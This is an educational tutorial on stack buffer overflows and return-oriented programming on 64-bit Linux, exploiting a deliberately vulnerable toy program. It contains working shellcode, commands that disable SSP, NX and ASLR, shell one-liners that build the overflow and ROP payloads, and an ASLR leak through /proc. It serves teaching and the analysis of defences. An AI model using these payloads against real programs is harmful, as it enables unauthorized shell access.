64-bit Linux Return-Oriented Programming

Update: Dongli Zhang reports that newer Linux versions organize the stack differently. The code below will need to be modified accordingly.

Nobody's perfect. Particularly not programmers. Some days, we spend half our time fixing mistakes we made in the other half. And that's when we're lucky: often, a subtle bug escapes unnoticed into the wild, and we only learn of it after a monumental catastrophe.

Some disasters are accidental. For example, an unlucky chain of events might result in the precise conditions needed to trigger an overlooked logic error. Other disasters are deliberate. Like an accountant abusing a tax loophole lurking in a labyrinth of complex rules, an attacker might discover a bug, then exploit it to take over many computers.

Accordingly, modern systems are replete with security features designed to prevent evildoers from exploiting bugs. These safeguards might, for instance, hide vital information, or halt execution of a program as soon as they detect anomalous behaviour.

Executable space protection is one such defence. Unfortunately, it is an ineffective defence. In this guide, we show how to circumvent executable space protection on 64-bit Linux using a technique known as return-oriented programming.

Some assembly required

We begin our journey by writing assembly to launch a shell via the execve system call.

For backwards compatibility, 32-bit Linux system calls are supported in 64-bit Linux, so we might think we can reuse shellcode targeted for 32-bit systems. However, the execve syscall takes a memory address holding the NUL-terminated name of the program that should be executed. Our shellcode might be injected someplace that requires us to refer to memory addresses larger than 32 bits. Thus we must use 64-bit system calls.

The following may aid those accustomed to 32-bit assembly.

	32-bit syscall	**64-bit syscall**
instruction	`int $0x80`	`syscall`
syscall number	EAX, e.g. execve = 0xb	RAX, e.g. execve = 0x3b
up to 6 inputs	EBX, ECX, EDX, ESI, EDI, EBP	RDI, RSI, RDX, R10, R8, R9
over 6 inputs	in RAM; EBX points to them	forbidden

example	`mov $0xb, %eax`
	`lea string_addr, %ebx`
	`mov $0, %ecx`
	`mov $0, %edx`
	
	`int $0x80`
		`mov $0x3b, %rax`
		`lea string_addr, %rdi`
		`mov $0, %rsi`
		`mov $0, %rdx`
		
		`syscall`

We inline our assembly code in a C file, which we call `shell.c`:

```
int main() {
  asm("\
needle0: jmp there\n\
here:    pop %rdi\n\
         xor %rax, %rax\n\
         movb $0x3b, %al\n\
         xor %rsi, %rsi\n\
         xor %rdx, %rdx\n\
         syscall\n\
there:   call here\n\
.string \"/bin/sh\"\n\
needle1: .octa 0xdeadbeef\n\
  ");
}
```

No matter where in memory our code winds up, the call-pop trick will load the RDI register with the address of the "/bin/sh" string.

The `needle0` and `needle1` labels are to aid searches later on; so is the `0xdeadbeef` constant (though since x86 is little-endian, it will show up as `EF BE AD DE` followed by 4 zero bytes).

For simplicity, we're using the API incorrectly; the second and third arguments to execve are supposed to point to NULL-terminated arrays of pointers to strings (argv[] and envp[]). However, our system is forgiving: running "/bin/sh" with NULL argv and envp succeeds:

```
ubuntu:~$ gcc shell.c
ubuntu:~$ ./a.out
$
```

In any case, adding argv and envp arrays is straightforward.

The shell game

We extract the payload we wish to inject. Let's examine the machine code:

```
$ objdump -d a.out | sed -n '/needle0/,/needle1/p'
0000000004004bf <needle0>:
  4004bf:       eb 0e                   jmp    4004cf <there>

00000000004004c1 <here>:
  4004c1:       5f                      pop    %rdi
  4004c2:       48 31 c0                xor    %rax,%rax
  4004c5:       b0 3b                   mov    $0x3b,%al
  4004c7:       48 31 f6                xor    %rsi,%rsi
  4004ca:       48 31 d2                xor    %rdx,%rdx
  4004cd:       0f 05                   syscall

00000000004004cf <there>:
  4004cf:       e8 ed ff ff ff          callq  4004c1 <here>
```

```
  4004d4:       2f                      (bad)
  4004d5:       62                      (bad)
  4004d6:       69 6e 2f 73 68 00 ef    imul   $0xef006873,0x2f(%rsi),%ebp

00000000004004dc <needle1>:
```

On 64-bit systems, the code segment is usually placed at 0x400000, so in the binary, our code lies starts at offset 0x4bf and finishes right before offset 0x4dc. This is 29 bytes:

```
$ echo $((0x4dc-0x4bf))
29
```

We round this up to the next multiple of 8 to get 32, then run:

```
$ xxd -s0x4bf -l32 -p a.out shellcode
```

Let's take a look:

```
$ cat shellcode
eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
bead
```

Learn bad C in only 1 hour!

An awful C tutorial might contain an example like the following `victim.c`:

```
#include <stdio.h>
int main() {
  char name[64];
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}
```

Thanks to the cdecl calling convention for x86 systems, if we input a really long string, we'll overflow the `name` buffer, and overwrite the return address. Enter the shellcode followed by the right bytes and the program will unwittingly run it when trying to return from the main function.

The Three Trials of Code Injection

Alas, stack smashing is much harder these days. On my stock Ubuntu 12.04 install, there are 3 countermeasures:

1. GCC Stack-Smashing Protector (SSP), aka ProPolice: the compiler rearranges the stack layout to make buffer overflows less dangerous and inserts runtime stack integrity checks.

2. Executable space protection (NX): attempting to execute code in the stack causes a

segmentation fault. This feature goes by many names, e.g. Data Execution Prevention (DEP) on Windows, or Write XOR Execute (W^X) on BSD. We call it NX here, because 64-bit Linux implements this feature with the CPU's NX bit ("Never eXecute").

3. Address Space Layout Randomization (ASLR): the location of the stack is randomized every run, so even if we can overwrite the return address, we have no idea what to put there.

We'll cheat to get around them. Firstly, we disable the SSP:

```
$ gcc -fno-stack-protector -o victim victim.c
```

Next, we disable executable space protection:

```
$ execstack -s victim
```

Lastly, we disable ASLR when running the binary:

```
$ setarch `arch` -R ./victim
What's your name?
World
Hello, World!
```

One more cheat. We'll simply print the buffer location:

```
#include <stdio.h>
int main() {
  char name[64];
  printf("%p\n", name);  // Print address of buffer.
  puts("What's your name?");
  gets(name);
  printf("Hello, %s!\n", name);
  return 0;
}
```

Recompile and run it:

```
$ setarch `arch` -R ./victim
0x7fffffffe090
What's your name?
```

The same address should appear on subsequent runs. We need it in little-endian:

```
$ a=`printf %016x 0x7fffffffe090 | tac -rs..`
$ echo $a
90e0ffffff7f0000
```

Success!

At last, we can attack our vulnerable program:

```
$ ( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ;
cat ) | setarch `arch` -R ./victim
```

The shellcode takes up the first 32 bytes of the buffer. The 80 zeroes in the printf represent 40 zero bytes, 32 of which fill the rest of the buffer, and the remaining 8 overwrite the saved location of the RBP register. The next 8 overwrite the return address, and point to the beginning of the buffer where our shellcode lies.

Hit Enter a few times, then type "ls" to confirm that we are indeed in a running shell. There is no prompt, because the standard input is provided by `cat`, and not the terminal (`/dev/tty`).

The Importance of Being Patched

Just for fun, we'll take a detour and look into ASLR. In the old days, you could read the ESP register of any process by looking at `/proc/pid/stat`. This leak was plugged long ago. (Nowadays, a process can spy on a given process only if it has permission to ptrace() it.)

Let's pretend we're on an unpatched system, as it's more satisfying to cheat less. Also, we see first-hand the importance of being patched, and why ASLR needs secrecy as well as randomness.

Inspired by a presentation by Tavis Ormandy and Julien Tinnes, we run:

```
$ ps -eo cmd,esp
```

First, we run the victim program without ASLR:

```
$ setarch `arch` -R  ./victim
```

and in another terminal:

```
$ ps -o cmd,esp -C victim
./victim           ffffe038
```

Thus while the victim program is waiting for user input, it's stack pointer is 0x7fffffe038. We calculate the distance from this pointer to the name buffer:

```
$ echo $((0x7fffffe090-0x7fffffe038))
88
```

We are now armed with the offset we need to defeat ASLR on older systems. After running the victim program with ASLR reenabled:

```
$ ./victim
```

we can find the relevant pointer by spying on the process, then adding the offset:

```
$ ps -o cmd,esp -C victim
```

```
./victim            43a4b538
$ printf %x\\n $((0x7fff43a4b538+88))
7fff43a4b590
```

Perhaps it's easiest to demonstrate with named pipes:

```
$ mkfifo pip
$ cat pip | ./victim
```

In another terminal, we type:

```
$ sp=`ps --no-header -C victim -o esp`
$ a=`printf %016x $((0x7fff$sp+88)) | tac -r -s..`
$ ( ( cat shellcode ; printf %080d 0 ; echo $a ) | xxd -r -p ;
cat ) > pip
```

and after hitting enter a few times, we can enter shell commands.

Executable space perversion

Recompile the victim program without running the execstack command. Alternatively, reactivate executable space protection by running:

```
$ execstack -c victim
```

Try attacking this binary as above. Our efforts are thwarted as soon as the program jumps to our injected shellcode in the stack. The whole area is marked nonexecutable, so we get shut down.

Return-oriented programming deftly sidesteps this defence. The classic buffer overflow exploit fills the buffer with code we want to run; return-oriented programming instead fills the buffer with *addresses* of snippets of code we want to run, turning the stack pointer into a sort of indirect instruction pointer.

The snippets of code are handpicked from executable memory: for example, they might be fragments of libc. Hence the NX bit is powerless to stop us. In more detail:

1. We start with SP pointing to the start of a series of addresses. A RET instruction kicks things off.

2. Forget RET's usual meaning of returning from a subroutine. Instead, focus on its effects: RET jumps to the address in the memory location held by SP, and increments SP by 8 (on a 64-bit system).

3. After executing a few instructions, we encounter a RET. See step 2.

In return-oriented programming, a sequence of instructions ending in RET is called a *gadget*.

Go go gadgets

Our mission is to call the libc system() function with "/bin/sh" as the argument. We can do this by calling a gadget that assigns a chosen value to RDI and then jump to the system() libc function.

First, where's libc?

```
$ locate libc.so
/lib/i386-linux-gnu/libc.so.6
/lib/x86_64-linux-gnu/libc.so.6
/lib32/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so
```

My system has a 32-bit and a 64-bit libc. We want the 64-bit one; that's the second on the list.

Next, what kind of gadgets are available anyway?

```
$ objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep -B5 ret
```

The selection is reasonable, but our quick-and-dirty search only finds intentional snippets of code.

We can do better. In our case, we would very much like to execute:

```
pop  %rdi
retq
```

while the pointer to "/bin/sh" is at the top of the stack. This would assign the pointer to RDI before advancing the stack pointer. The corresponding machine code is the two-byte sequence `0x5f 0xc3`, which ought to occur somewhere in libc.

Sadly, I know of no widespread Linux tool that searches a file for a given sequence of bytes; most tools seem oriented towards text files and expect their inputs to be organized with newlines. (I'm reminded of Rob Pike's "Structural Regular Expressions".)

We settle for an ugly workaround:

```
$ xxd -c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep -n -B1 c3 |
grep 5f -m1 | awk '{printf"%x\n",$1-1}'
22a12
```

In other words:

1. Dump the library, one hex code per line.
2. Look for "c3", and print one line of leading context along with the matches. We also print the line numbers.

3. Look for the first "5f" match within the results.

4. As line numbers start from 1 and offsets start from 0, we must subtract 1 to get the latter from the former. Also, we want the address in hexadecimal. Asking Awk to treat the first argument as a number (due to the subtraction) conveniently drops all the characters after the digits, namely the "-5f" that grep outputs.

We're almost there. If we overwrite the return address with the following sequence:

- libc's address + `0x22a12`
- address of "/bin/sh"
- address of libc's system() function

then on executing the next RET instruction, the program will pop the address of "/bin/sh" into RDI thanks to the first gadget, then jump to the system function.

Many happy returns

In one terminal, run:

```
$ setarch `arch` -R ./victim
```

And in another:

```
$ pid=`ps -C victim -o pid --no-headers | tr -d ' '`
$ grep libc /proc/$pid/maps
7ffff7a1d000-7ffff7bd0000 r-xp 00000000 08:05 7078182
/lib/x86_64-linux-gnu/libc-2.15.so
7ffff7bd0000-7ffff7dcf000 ---p 001b3000 08:05 7078182
/lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dcf000-7ffff7dd3000 r--p 001b2000 08:05 7078182
/lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dd3000-7ffff7dd5000 rw-p 001b6000 08:05 7078182
/lib/x86_64-linux-gnu/libc-2.15.so
```

Thus libc is loaded into memory starting at `0x7ffff7a1d000`. That gives us our first ingredient: the address of the gadget is `0x7ffff7a1d000 + 0x22a12`.

Next we want "/bin/sh" somewhere in memory. We can proceed similarly to before and place this string at the beginning of the buffer. From before, its address is `0x7fffffffe090`.

The final ingredient is the location of the `system` library function.

```
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep '\<system\>'
0000000000044320 W system
```

Gotcha! The system function lives at `0x7ffff7a1d000 + 0x44320`. Putting it all together:

```
 $ (echo -n /bin/sh | xxd -p; printf %0130d 0;
printf %016x $((0x7ffff7a1d000+0x22a12)) | tac -rs..;
printf %016x 0x7fffffffe090 | tac -rs..;
printf %016x $((0x7ffff7a1d000+0x44320)) | tac -rs..) |
xxd -r -p | setarch `arch` -R ./victim
```

Hit enter a few times, then type in some commands to confirm this indeed spawns a shell.

There are 130 0s this time, which xxd turns into 65 zero bytes. This is exactly enough to cover the rest of the buffer after "/bin/sh" as well as the pushed RBP register, so that the very next location we overwrite is the top of the stack.

Debriefing

In our brief adventure, ProPolice is the best defence. It tries to move arrays to the highest parts of the stack, so less can be achieved by overflowing them. Additionally, it places certain values at the ends of arrays, which are known as *canaries*. It inserts checks before return instructions that halts execution if the canaries are harmed. We had to disable ProPolice completely to get started.

ASLR also defends against our attack provided there is sufficient entropy, and the randomness is kept secret. This is in fact rather tricky. We saw how older systems leaked information via /proc. In general, attackers have devised many ingenious methods to learn addresses that are meant to be hidden.

Last, and least, we have executable space protection. It turned out to be toothless. So what if we can't run code in the stack? We'll simply point to code elsewhere and run that instead! We used libc, but in general, there is usually some corpus of code we can raid. For example, researchers compromised a voting machine with extensive executable space protection, turning its own code against it.

Funnily enough, the cost of each measure seems inversely proportional to its benefit:

- Executable space protection requires special hardware (the NX bit) or expensive software emulation.
- ASLR requires cooperation from many parties. Programs and libraries alike must be loaded in random addresses. Information leaks must be plugged.
- ProPolice requires a compiler patch.

Security theater

One may ask: if executable space protection is so easily circumvented, is it worth having?

Somebody must have thought so, because it is so prevalent now. Perhaps it's time to ask: is executable space protection worth removing? Is executable space protection better than nothing?

We just saw how trivial it is to stitch together shreds of existing code to do our dirty work. We barely scratched the surface: with just a few gadgets, any computation is possible. Furthermore, there are tools that mine libraries for gadgets, and compilers that convert an input language into a series of addresses, ready for use on an unsuspecting non-executable stack. A well-armed attacker may as well forget executable space protection even exists.

Therefore, I argue executable space protection is worse than nothing. Aside from being high-cost and low-benefit, it segregates code from data. As Rob Pike puts it:

> This flies in the face of the theories of Turing and von Neumann, which define the basic principles of the stored-program computer. Code and data are the same, or at least they can be.

Executable space protection interferes with self-modifying code, which is invaluable for just-in-time compiling, and for miraculously breathing new life into ancient calling conventions set in stone.

In a paper describing how to add nested functions to C despite its simple calling convention and thin pointers, Thomas Breuel observes:

> There are, however, some architectures and/or operating systems that forbid a program to generate and execute code at runtime. We consider this restriction arbitrary and consider it poor hardware or software design. Implementations of programming languages such as FORTH, Lisp, or Smalltalk can benefit significantly from the ability to generate or modify code quickly at runtime.

Epilogue

Many thanks to Hovav Shacham, who first brought return-oriented programming to my attention. He co-authored a comprehensive introduction to return-oriented programming. Also, see the technical details of how return-oriented programming usurped a voting machine.

We focused on a specific attack. The defences we ran into can be much less effective for other kinds of attacks. For example, ASLR has a hard time fending off heap spraying.

Return-to-libc

Return-oriented programming is a generalization of the return-to-libc attack, which calls library functions instead of gadgets. In 32-bit Linux, the C calling convention is helpful, since arguments are passed on the stack: all we need to do is rig the stack so it holds our arguments and the address the library function. When RET is executed, we're in business.

However, the 64-bit C calling convention is identical to that of 64-bit system calls, except RCX takes the place of R10, and more than 6 arguments may be present (any extras are placed on the stack in right-to-left order). Overflowing the buffer only allows us to control

the contents of the stack, and not the registers, complicating return-to-libc attacks.

The new calling convention still plays nice with return-oriented programming, because gadgets can manipulate registers.

GDB

Just as builders remove the scaffolding after finishing a skyscraper, I omitted the GDB sessions which helped me along the way. Did you think I could get these exploits byte-perfect the first time? I wish!

Speaking of which, I'm almost certain I've never used a debugger to debug! I've only used them to program in assembly, to investigate binaries for which I lacked the source, and now, for buffer overflow exploits. A quote from Linus Torvalds come to mind:

> I don't like debuggers. Never have, probably never will. I use gdb all the time, but I tend to use it not as a debugger, but as a disassembler on steroids that you can program.

as does another from Brian Kernighan:

> The most effective debugging tool is still careful thought, coupled with judiciously placed print statements.

I'm unsure if I'll ever write about GDB, since so many guides already exist. For now, I'll list a few choice commands:

```
$ gdb victim
start < shellcode
disas
break *0x00000000004005c1
cont
p $rsp
ni
si
x/10i0x400470
```

GDB helpfully places the code deterministically, though the location it chooses differs slightly to the shell's choice when ASLR is disabled.

Transcripts

I've summarized the above in a couple of shell scripts:

- classic.sh: the classic buffer overflow attack.
- rop.sh: the return-oriented programming version.

They work on my system (Ubuntu 12.04 on x86_64).

Japanese translation.

Ben Lynn *blynn@cs.stanford.edu*